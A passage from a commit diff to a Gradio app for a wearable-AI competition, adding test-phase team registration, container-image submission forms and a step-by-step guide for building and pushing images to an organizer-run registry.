Harry Tran commited on
Commit ·
36ccdb3
1
Parent(s): 25f29c7
update test phase: registration, submission and the validation close
Browse files- app.py +555 -19
- config.py +122 -0
- register_test.py +741 -0
- results.py +76 -11
- submit.py +5 -0
- submit_test.py +338 -0
- tests/controls_register_test.py +253 -0
- tests/test_register_test.py +697 -0
- tests/test_submit_test.py +682 -0
- tests/test_val_phase_closed.py +346 -0
app.py
CHANGED
|
@@ -15,9 +15,11 @@ import html
|
|
| 15 |
import gradio as gr
|
| 16 |
|
| 17 |
import config
|
|
|
|
| 18 |
import results
|
| 19 |
import submissions
|
| 20 |
import submit
|
|
|
|
| 21 |
|
| 22 |
# Cache the results DataFrame so filter changes don't re-download; refresh reloads.
|
| 23 |
_RESULTS_CACHE: dict = {}
|
|
@@ -126,9 +128,11 @@ The validation set ground-truth annotations are **publicly available** within th
|
|
| 126 |
|
| 127 |
Final prize allocation is determined exclusively through evaluation on a **held-out test split**, which will remain private.
|
| 128 |
|
| 129 |
-
**Submission Process:** Upon conclusion of the Validation Phase, top-ranking teams will be invited to submit a **
|
| 130 |
|
| 131 |
-
**
|
|
|
|
|
|
|
| 132 |
"""
|
| 133 |
|
| 134 |
# (heading prefix, anchor id, sidebar label) — drives both the injected anchors
|
|
@@ -304,8 +308,10 @@ _CONVQA_SUBMIT_HELP = (
|
|
| 304 |
)
|
| 305 |
|
| 306 |
|
| 307 |
-
def
|
| 308 |
-
gr.Markdown("## Submit predictions
|
|
|
|
|
|
|
| 309 |
gr.Markdown(
|
| 310 |
"We are currently in the **Validation phase**. Upload your model's "
|
| 311 |
"**`predictions.jsonl`** plus the identity / parameter fields below. "
|
|
@@ -348,8 +354,16 @@ def submit_tab():
|
|
| 348 |
)
|
| 349 |
|
| 350 |
with gr.Row(elem_classes="submit-row"):
|
|
|
|
|
|
|
|
|
|
| 351 |
validate_btn = gr.Button("Validate format (no submit)", scale=0)
|
| 352 |
-
btn = gr.Button(
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 353 |
out = gr.Markdown()
|
| 354 |
|
| 355 |
# Dry-run validation: no sign-in, no upload, no daily-quota cost.
|
|
@@ -370,35 +384,555 @@ def submit_tab():
|
|
| 370 |
)
|
| 371 |
|
| 372 |
|
| 373 |
-
def
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 374 |
"""Render the phase's leaderboard as a style-isolated <iframe srcdoc>."""
|
| 375 |
-
doc = results.board_document(_results_df(force), phase, open_only)
|
| 376 |
return (f'<iframe title="{phase} leaderboard" srcdoc="{html.escape(doc)}" '
|
| 377 |
f'scrolling="no" '
|
| 378 |
f'style="width:100%;border:0;display:block;min-height:200px"></iframe>')
|
| 379 |
|
| 380 |
|
| 381 |
-
def _phase_board(phase: str, interval: int, show_toggle: bool = True):
|
| 382 |
-
"""
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 383 |
open_only = gr.Checkbox(value=False, label="Open-weight only") if show_toggle else None
|
| 384 |
board = gr.HTML(elem_classes="lb-frame")
|
| 385 |
if open_only is not None:
|
| 386 |
-
open_only.change(lambda o: _iframe(phase, o
|
| 387 |
-
|
| 388 |
-
|
| 389 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
| 390 |
else:
|
| 391 |
-
demo.load(lambda: _iframe(phase, False, force=True
|
| 392 |
-
|
| 393 |
-
|
|
|
|
|
|
|
|
|
|
| 394 |
|
| 395 |
|
| 396 |
def leaderboard_tab():
|
|
|
|
|
|
|
| 397 |
with gr.Tabs(elem_classes="phase-tabs"):
|
| 398 |
-
with gr.Tab("Validation"):
|
| 399 |
-
_phase_board("val", 60, show_toggle=False)
|
| 400 |
with gr.Tab("Test"):
|
| 401 |
-
_phase_board("test",
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 402 |
|
| 403 |
|
| 404 |
def _subs_iframe(profile: gr.OAuthProfile | None):
|
|
@@ -573,6 +1107,8 @@ html { scrollbar-gutter: stable; }
|
|
| 573 |
border-radius: 12px !important; padding: 12px 16px !important; margin: 6px 0 10px !important;
|
| 574 |
}
|
| 575 |
.gradio-container .convqa-judge-box .md { color: #6b4e00 !important; }
|
|
|
|
|
|
|
| 576 |
/* Right-align the Submit button. */
|
| 577 |
.gradio-container .submit-row { justify-content: flex-end !important; }
|
| 578 |
/* Tighten the Submit form too (Leaderboard stays wide). */
|
|
|
|
| 15 |
import gradio as gr
|
| 16 |
|
| 17 |
import config
|
| 18 |
+
import register_test
|
| 19 |
import results
|
| 20 |
import submissions
|
| 21 |
import submit
|
| 22 |
+
import submit_test
|
| 23 |
|
| 24 |
# Cache the results DataFrame so filter changes don't re-download; refresh reloads.
|
| 25 |
_RESULTS_CACHE: dict = {}
|
|
|
|
| 128 |
|
| 129 |
Final prize allocation is determined exclusively through evaluation on a **held-out test split**, which will remain private.
|
| 130 |
|
| 131 |
+
**Submission Process:** Upon conclusion of the Validation Phase, top-ranking teams will be invited to submit a **container image** (encompassing model weights and inference code) rather than a pre-computed predictions file. Building and uploading an image is unlimited; registering one for evaluation is limited to **3 per team per sub-track** for the whole phase. Shortlisted teams collect their registry credentials from the Submit tab when the window opens.
|
| 132 |
|
| 133 |
+
**Full step-by-step instructions are on the Submit tab, under Test.**
|
| 134 |
+
|
| 135 |
+
**Evaluation Process:** Organizers will independently execute these packages on the private test dataset within a controlled, standardized environment. Inference runs under the official resource limits — the **300-second per-query** generation limit (inference only), and a compute ceiling of **16 nodes × 8 H100 (80 GB each) = 128 GPUs total**. We provide up to 16 nodes, and your model must still fit on one: the 16 nodes are there to get through the test split faster, the queries are divided between them and **each node runs its own full, independent copy of your image**, so the budget for a single copy is one node, 8 × H100 80 GB. We do not shard one model across nodes. If yours genuinely needs more than one node to hold a single copy, write to the organizers **before you build**: that requires a custom image and our agreement, and it is not something we can arrange after a submission arrives. **Parameter counts are verified** to ensure strict adherence to the declared division. Only the test scores generated by the organizers determine final standings and award distribution.
|
| 136 |
"""
|
| 137 |
|
| 138 |
# (heading prefix, anchor id, sidebar label) — drives both the injected anchors
|
|
|
|
| 308 |
)
|
| 309 |
|
| 310 |
|
| 311 |
+
def val_submit_tab():
|
| 312 |
+
gr.Markdown("## Submit predictions, Validation phase")
|
| 313 |
+
if not config.VAL_PHASE_OPEN:
|
| 314 |
+
gr.Markdown(config.VAL_CLOSED_NOTICE, elem_classes="phase-closed")
|
| 315 |
gr.Markdown(
|
| 316 |
"We are currently in the **Validation phase**. Upload your model's "
|
| 317 |
"**`predictions.jsonl`** plus the identity / parameter fields below. "
|
|
|
|
| 354 |
)
|
| 355 |
|
| 356 |
with gr.Row(elem_classes="submit-row"):
|
| 357 |
+
# Format checking stays available with the phase closed: it costs
|
| 358 |
+
# nothing, writes nothing, and is useful to a team preparing a test
|
| 359 |
+
# phase image.
|
| 360 |
validate_btn = gr.Button("Validate format (no submit)", scale=0)
|
| 361 |
+
btn = gr.Button(
|
| 362 |
+
"Submit" if config.VAL_PHASE_OPEN else "Submissions closed",
|
| 363 |
+
variant="primary" if config.VAL_PHASE_OPEN else "secondary",
|
| 364 |
+
scale=0,
|
| 365 |
+
interactive=config.VAL_PHASE_OPEN,
|
| 366 |
+
)
|
| 367 |
out = gr.Markdown()
|
| 368 |
|
| 369 |
# Dry-run validation: no sign-in, no upload, no daily-quota cost.
|
|
|
|
| 384 |
)
|
| 385 |
|
| 386 |
|
| 387 |
+
def do_test_submit(
|
| 388 |
+
profile: gr.OAuthProfile | None,
|
| 389 |
+
track, division, team_name, model_name, license_str, open_weight,
|
| 390 |
+
total_params_b, active_params_b, image_ref, image_digest,
|
| 391 |
+
):
|
| 392 |
+
if profile is None:
|
| 393 |
+
return "⚠️ Please sign in with Hugging Face first."
|
| 394 |
+
if total_params_b in (None, "") or active_params_b in (None, ""):
|
| 395 |
+
return "⚠️ Enter total and active params (in billions)."
|
| 396 |
+
if not (license_str or "").strip():
|
| 397 |
+
return "⚠️ Select or enter a model license."
|
| 398 |
+
|
| 399 |
+
ok, msg = submit_test.validate_and_submit(
|
| 400 |
+
hf_user=profile.username,
|
| 401 |
+
track=track,
|
| 402 |
+
division=division,
|
| 403 |
+
team_name=team_name,
|
| 404 |
+
model_name=model_name,
|
| 405 |
+
license_str=license_str,
|
| 406 |
+
open_weight=bool(open_weight),
|
| 407 |
+
total_params=_b_to_int(total_params_b),
|
| 408 |
+
active_params=_b_to_int(active_params_b),
|
| 409 |
+
image_ref=image_ref,
|
| 410 |
+
image_digest=image_digest,
|
| 411 |
+
token=config.HF_TOKEN,
|
| 412 |
+
)
|
| 413 |
+
return msg
|
| 414 |
+
|
| 415 |
+
|
| 416 |
+
def _signed_in_as(profile: gr.OAuthProfile | None):
|
| 417 |
+
"""Fill the read-only account box from the OAuth session.
|
| 418 |
+
|
| 419 |
+
Shown rather than typed: the account is the one thing on this form a
|
| 420 |
+
participant cannot choose, and it is half of the pair we match against the
|
| 421 |
+
validation submissions, so seeing it removes a whole class of "why am I
|
| 422 |
+
being refused" confusion.
|
| 423 |
+
"""
|
| 424 |
+
return profile.username if profile else ""
|
| 425 |
+
|
| 426 |
+
|
| 427 |
+
def do_test_register(
|
| 428 |
+
profile: gr.OAuthProfile | None,
|
| 429 |
+
team_name,
|
| 430 |
+
track,
|
| 431 |
+
division,
|
| 432 |
+
members,
|
| 433 |
+
poc,
|
| 434 |
+
model_name,
|
| 435 |
+
total_params_b,
|
| 436 |
+
):
|
| 437 |
+
"""Test-phase registration for ONE sub-track.
|
| 438 |
+
|
| 439 |
+
Sign-in is checked here rather than inside register_test so the module stays
|
| 440 |
+
free of gradio and can be unit-tested; `profile.username` is the only thing
|
| 441 |
+
the Space knows that a participant cannot type.
|
| 442 |
+
"""
|
| 443 |
+
if profile is None:
|
| 444 |
+
return "⚠️ Please sign in with Hugging Face first."
|
| 445 |
+
|
| 446 |
+
from huggingface_hub import HfApi
|
| 447 |
+
|
| 448 |
+
ok, msg = register_test.issue(
|
| 449 |
+
HfApi(token=config.HF_TOKEN),
|
| 450 |
+
hf_user=profile.username,
|
| 451 |
+
team_name=team_name or "",
|
| 452 |
+
track=track,
|
| 453 |
+
division=division,
|
| 454 |
+
members=members or "",
|
| 455 |
+
poc=poc or "",
|
| 456 |
+
model_name=model_name or "",
|
| 457 |
+
total_params_b=total_params_b,
|
| 458 |
+
)
|
| 459 |
+
return msg if ok else f"❌ {msg}"
|
| 460 |
+
|
| 461 |
+
|
| 462 |
+
def do_test_validate(track, division, total_params_b, active_params_b, image_ref, image_digest):
|
| 463 |
+
"""Dry run: the same validators a real registration applies, but nothing is
|
| 464 |
+
written and no submission slot is spent. No sign-in required."""
|
| 465 |
+
if total_params_b in (None, "") or active_params_b in (None, ""):
|
| 466 |
+
return "⚠️ Enter total and active params (in billions) to check the division cap."
|
| 467 |
+
|
| 468 |
+
ok, msg = submit_test.validate_only(
|
| 469 |
+
track=track,
|
| 470 |
+
division=division,
|
| 471 |
+
total_params=_b_to_int(total_params_b),
|
| 472 |
+
active_params=_b_to_int(active_params_b),
|
| 473 |
+
image_ref=image_ref,
|
| 474 |
+
image_digest=image_digest,
|
| 475 |
+
)
|
| 476 |
+
if ok:
|
| 477 |
+
return f"✅ {msg}\n\n_Nothing was registered — this was a format check only._"
|
| 478 |
+
return f"❌ {msg}"
|
| 479 |
+
|
| 480 |
+
|
| 481 |
+
_TEST_GUIDE_MD = """
|
| 482 |
+
### Step 1 — Register your team
|
| 483 |
+
|
| 484 |
+
Use the **Step 1** form below. Sign in with the Hugging Face account your team competed
|
| 485 |
+
under in the Validation Phase, enter the same team name, and declare your model's total
|
| 486 |
+
parameter count including any frozen backbone. If your team is on the shortlist, the page
|
| 487 |
+
shows your registry credentials immediately. There is no invitation email.
|
| 488 |
+
|
| 489 |
+
You get two things:
|
| 490 |
+
|
| 491 |
+
- an **access key ID and secret** for a registry account created for your team
|
| 492 |
+
- your **repository URI**: `<ACCOUNT_ID>.dkr.ecr.us-east-2.amazonaws.com/wearable-ai-2026/<your-team>`
|
| 493 |
+
|
| 494 |
+
You do **not** need an AWS account. These credentials are an identity inside the
|
| 495 |
+
organizers' account: no signup, no billing relationship, nothing to agree to. Your
|
| 496 |
+
repository is private and no other team can read it.
|
| 497 |
+
|
| 498 |
+
### Step 2 — Build your image
|
| 499 |
+
|
| 500 |
+
Everything you need is in the challenge dataset repo under
|
| 501 |
+
[`starter_kit/test_phase/`](https://huggingface.co/datasets/facebook/wearable-ai/tree/main/starter_kit/test_phase):
|
| 502 |
+
a `Containerfile`, `build_image.sh`, `validate_image.sh`, and a README with the
|
| 503 |
+
full walkthrough. You need **podman or docker**; nothing else.
|
| 504 |
+
|
| 505 |
+
```bash
|
| 506 |
+
git clone https://huggingface.co/datasets/facebook/wearable-ai
|
| 507 |
+
cd wearable-ai/starter_kit/test_phase
|
| 508 |
+
```
|
| 509 |
+
|
| 510 |
+
The `Containerfile` already carries the evaluation stack (CUDA 12.8, Python 3.10,
|
| 511 |
+
PyTorch 2.10.0, vLLM 0.19.1) and the starter kit. **Edit only the marked extension
|
| 512 |
+
block at the bottom**, where you do two things:
|
| 513 |
+
|
| 514 |
+
1. **Bake your weights into `/models`**, for example
|
| 515 |
+
`COPY my_weights/ /models/my_model/`. Weights must be in the image: evaluation
|
| 516 |
+
nodes cannot reach your storage, and downloading at run time counts against
|
| 517 |
+
your 300-second per-query budget.
|
| 518 |
+
2. **Register your model class** in `model.py`'s `MODEL_REGISTRY`, then select it
|
| 519 |
+
with `--model-type <your_key>`.
|
| 520 |
+
|
| 521 |
+
Then build and check it:
|
| 522 |
+
|
| 523 |
+
```bash
|
| 524 |
+
./build_image.sh --tag my-team:v1
|
| 525 |
+
./validate_image.sh my-team:v1
|
| 526 |
+
```
|
| 527 |
+
|
| 528 |
+
`validate_image.sh` is the **same script we run when your image arrives**, so a
|
| 529 |
+
pass here is a pass at intake. On the template before you add anything, 11 of the
|
| 530 |
+
12 checks pass and the failure is `/models is non-empty`, which is what your
|
| 531 |
+
weights fix.
|
| 532 |
+
|
| 533 |
+
Three things will fail your submission outright: an image **without `bash`**
|
| 534 |
+
(a `distroless`, `busybox` or `-slim` base dies at exit 127 with no output),
|
| 535 |
+
**hardcoded dataset paths** (we pass `--video-folder`, `--golden` and
|
| 536 |
+
`--predictions` at evaluation time), and relying on **`ENTRYPOINT`** (the runtime
|
| 537 |
+
invokes `run_evaluation.py` directly and ignores it).
|
| 538 |
+
|
| 539 |
+
### Step 3 — Upload your image
|
| 540 |
+
|
| 541 |
+
You will need **Docker (or Podman)** and the **`aws` CLI**. The CLI is used only to mint
|
| 542 |
+
a registry login token.
|
| 543 |
+
|
| 544 |
+
```bash
|
| 545 |
+
export AWS_ACCESS_KEY_ID=... # from Step 1
|
| 546 |
+
export AWS_SECRET_ACCESS_KEY=...
|
| 547 |
+
|
| 548 |
+
aws ecr get-login-password --region us-east-2 \
|
| 549 |
+
| docker login --username AWS --password-stdin <ACCOUNT_ID>.dkr.ecr.us-east-2.amazonaws.com
|
| 550 |
+
|
| 551 |
+
docker tag <your-local-image> <ACCOUNT_ID>.dkr.ecr.us-east-2.amazonaws.com/wearable-ai-2026/<your-team>:v1
|
| 552 |
+
docker push <ACCOUNT_ID>.dkr.ecr.us-east-2.amazonaws.com/wearable-ai-2026/<your-team>:v1
|
| 553 |
+
```
|
| 554 |
+
|
| 555 |
+
The login token lasts 12 hours. A large push can take longer, so if the upload is
|
| 556 |
+
interrupted, re-run the `get-login-password` line and then `docker push` again:
|
| 557 |
+
completed layers are skipped and the upload resumes.
|
| 558 |
+
|
| 559 |
+
Use a **new tag for each build** (`:v1`, `:v2`, ...). Tags are immutable, so an existing
|
| 560 |
+
tag cannot be overwritten.
|
| 561 |
+
|
| 562 |
+
**Uploading is unlimited and costs you nothing.** Nothing is evaluated until step 4.
|
| 563 |
+
|
| 564 |
+
### Step 4 — Submit for evaluation
|
| 565 |
+
|
| 566 |
+
Fill in the form below. **This is the capped step: 3 submissions per team per sub-track**
|
| 567 |
+
for the entire Test Phase. A sub-track is one track in one division, so entering both
|
| 568 |
+
Small and Large in the same track gives you three in each. Queued and completed
|
| 569 |
+
submissions both count; ones we refuse before running do not.
|
| 570 |
+
|
| 571 |
+
Because uploading is free and submitting is not: if you are unsure which of two builds is
|
| 572 |
+
stronger, upload both and submit only the one you want scored.
|
| 573 |
+
|
| 574 |
+
We evaluate the exact image recorded at registration. A later push to the same repository
|
| 575 |
+
does **not** change a submission already made — submit again if you want the newer image
|
| 576 |
+
evaluated. Use **Validate format (no submit)** to check your fields without spending one.
|
| 577 |
+
|
| 578 |
+
### After you submit
|
| 579 |
+
|
| 580 |
+
Keep your image in place until your submission shows as scored. **Parameter counts are
|
| 581 |
+
verified** against your declared division. Track state in **My Submissions**.
|
| 582 |
+
|
| 583 |
+
Inference runs under the official limits:
|
| 584 |
+
|
| 585 |
+
| Limit | Value |
|
| 586 |
+
| --- | --- |
|
| 587 |
+
| Time per generation / turn | 300 s |
|
| 588 |
+
| GPUs one copy of your model may use | 8 x H100 80 GB on a single node, 640 GB |
|
| 589 |
+
| Evaluation parallelism | up to 16 nodes, run by the organizers |
|
| 590 |
+
|
| 591 |
+
Exceeding the per-turn timeout aborts that turn and scores it as empty.
|
| 592 |
+
|
| 593 |
+
**We provide up to 16 nodes, and your model must still fit on one.** The 16 nodes
|
| 594 |
+
are there to get through the test split faster: the queries are divided between
|
| 595 |
+
them and **each node runs its own full, independent copy of your image**. So the
|
| 596 |
+
budget for a single copy is one node, 8 x H100 80 GB. We do not shard one model
|
| 597 |
+
across nodes. If yours genuinely needs more than one node to hold a single copy,
|
| 598 |
+
write to the organizers **before you build**: that requires a custom image and
|
| 599 |
+
our agreement, and it is not something we can arrange after a submission arrives.
|
| 600 |
+
|
| 601 |
+
Nothing about the node count is baked into your image, so you can build and test
|
| 602 |
+
on whatever you have — one GPU is fine. Resolve the GPU count at run time rather
|
| 603 |
+
than hardcoding it: `run_evaluation.py --num-gpus` is passed to your model, and
|
| 604 |
+
with no value it uses every GPU it can see.
|
| 605 |
+
|
| 606 |
+
### Troubleshooting
|
| 607 |
+
|
| 608 |
+
**`denied: requested access to the resource is denied`** — your login token has expired
|
| 609 |
+
(they last 12 hours), or the tag does not match your assigned repository.
|
| 610 |
+
|
| 611 |
+
**The push keeps restarting** — your image likely has one very large layer. Split the
|
| 612 |
+
weights across several `COPY` instructions and rebuild.
|
| 613 |
+
|
| 614 |
+
**A push to an existing tag is rejected** — tags are immutable. Use a new tag.
|
| 615 |
+
|
| 616 |
+
**Image far larger than expected** — check for build caches, `.git` directories, duplicate weight files
|
| 617 |
+
and package-manager caches left in the final layers.
|
| 618 |
+
|
| 619 |
+
**Anything else** — contact the organizers with your team name and the exact command
|
| 620 |
+
output. Never share your access key.
|
| 621 |
+
"""
|
| 622 |
+
|
| 623 |
+
|
| 624 |
+
_TEST_IMAGE_HELP = (
|
| 625 |
+
"**Pushing your image.** Build it from "
|
| 626 |
+
"[`starter_kit/test_phase/`](https://huggingface.co/datasets/facebook/wearable-ai/tree/main/starter_kit/test_phase) "
|
| 627 |
+
"in the challenge dataset repo (see Step 2), then push to the ECR repository "
|
| 628 |
+
"issued to your team in Step 1 and paste the reference `docker push` printed, "
|
| 629 |
+
"repository and digest together as `<repo>@sha256:...`. We score that exact "
|
| 630 |
+
"digest, so a later push to the same repository does not change what is "
|
| 631 |
+
"scored: submit again if you want the newer image evaluated.\n\n"
|
| 632 |
+
"**Image size:** keep it under **{advertised} GB** compressed, which is the "
|
| 633 |
+
"size `docker push` reports. If your model genuinely needs more, contact the "
|
| 634 |
+
"organizers before you build rather than after."
|
| 635 |
+
).format(advertised=config.TEST_IMAGE_ADVERTISED_GB)
|
| 636 |
+
|
| 637 |
+
|
| 638 |
+
|
| 639 |
+
def _guide_slice(start: str, end: str | None) -> str:
|
| 640 |
+
"""One section of _TEST_GUIDE_MD, so each step accordion shows only its own.
|
| 641 |
+
|
| 642 |
+
The guide stays the single source; these are views on it. Both ends are
|
| 643 |
+
asserted, because a mistyped heading would slice to nothing and render as an
|
| 644 |
+
empty accordion rather than failing.
|
| 645 |
+
"""
|
| 646 |
+
i = _TEST_GUIDE_MD.index(start)
|
| 647 |
+
j = _TEST_GUIDE_MD.index(end) if end else len(_TEST_GUIDE_MD)
|
| 648 |
+
out = _TEST_GUIDE_MD[i:j].strip()
|
| 649 |
+
assert len(out) > 100, f"guide slice {start!r} is suspiciously short"
|
| 650 |
+
return out
|
| 651 |
+
|
| 652 |
+
|
| 653 |
+
# Steps 2 and 3 own building and uploading, and the troubleshooting is entirely
|
| 654 |
+
# about pushing, so it belongs with them rather than in a section of its own.
|
| 655 |
+
_TEST_BUILD_UPLOAD_MD = (
|
| 656 |
+
_guide_slice("### Step 2", "### Step 4")
|
| 657 |
+
+ "\n\n"
|
| 658 |
+
+ _guide_slice("### Troubleshooting", None)
|
| 659 |
+
)
|
| 660 |
+
|
| 661 |
+
# Step 4 owns submitting and what happens afterwards.
|
| 662 |
+
_TEST_SUBMIT_MD = _guide_slice("### Step 4", "### Troubleshooting")
|
| 663 |
+
|
| 664 |
+
|
| 665 |
+
def test_register_section():
|
| 666 |
+
"""Step 1: a shortlisted team collects its registry credentials.
|
| 667 |
+
|
| 668 |
+
Laid out to mirror Step 4 below: the same three bands of who you are, which
|
| 669 |
+
sub-track, and which model, so the two forms read as one flow rather than
|
| 670 |
+
two unrelated pages.
|
| 671 |
+
"""
|
| 672 |
+
with gr.Accordion(
|
| 673 |
+
"Step 1 — Register your team and collect your registry credentials",
|
| 674 |
+
open=config.TEST_PHASE_OPEN,
|
| 675 |
+
):
|
| 676 |
+
gr.Markdown(
|
| 677 |
+
"Registration replaces the invitation email, and it is **per "
|
| 678 |
+
"sub-track**: a sub-track is one track in one division, and because "
|
| 679 |
+
"the divisions are parameter bands, a team entered in both is "
|
| 680 |
+
"bringing two different models. Register once for each seat you "
|
| 681 |
+
"hold and declare that model's size each time.\n\n"
|
| 682 |
+
"Your team name must match your validation submissions **exactly** — "
|
| 683 |
+
"that pairing is how we know the account belongs to the team. "
|
| 684 |
+
"Re-registering is fine and shows the same credentials again; there "
|
| 685 |
+
"is one repository per team, whichever sub-track you register."
|
| 686 |
+
)
|
| 687 |
+
with gr.Row():
|
| 688 |
+
reg_user = gr.Textbox(
|
| 689 |
+
label="Hugging Face account",
|
| 690 |
+
interactive=False,
|
| 691 |
+
info="From your sign-in; cannot be edited.",
|
| 692 |
+
)
|
| 693 |
+
reg_team = gr.Textbox(
|
| 694 |
+
label="Team name",
|
| 695 |
+
placeholder="Exactly as on the Validation leaderboard",
|
| 696 |
+
info="Must match your validation submissions.",
|
| 697 |
+
)
|
| 698 |
+
with gr.Row():
|
| 699 |
+
reg_members = gr.Textbox(
|
| 700 |
+
label="Team members — one per line, as `Name, email`",
|
| 701 |
+
lines=4,
|
| 702 |
+
placeholder="Ada Lovelace, ada@example.com\nAlan Turing, alan@example.org",
|
| 703 |
+
info="Everyone on the team. Used for the certificate and for "
|
| 704 |
+
"contacting you about the phase.",
|
| 705 |
+
)
|
| 706 |
+
reg_poc = gr.Textbox(
|
| 707 |
+
label="Your email address, you are the main point of contact",
|
| 708 |
+
placeholder="ada@example.com",
|
| 709 |
+
info="Just the address, not `Name, email`. Must be one of the "
|
| 710 |
+
"members above. You are signed in, so your account is the "
|
| 711 |
+
"contact of record; this is where we write.",
|
| 712 |
+
)
|
| 713 |
+
with gr.Row():
|
| 714 |
+
reg_track = gr.Radio(
|
| 715 |
+
config.TEST_TRACKS,
|
| 716 |
+
label="Track",
|
| 717 |
+
value=config.TEST_TRACKS[0],
|
| 718 |
+
info="Register once per seat you hold.",
|
| 719 |
+
)
|
| 720 |
+
reg_division = gr.Radio(
|
| 721 |
+
config.DIVISIONS,
|
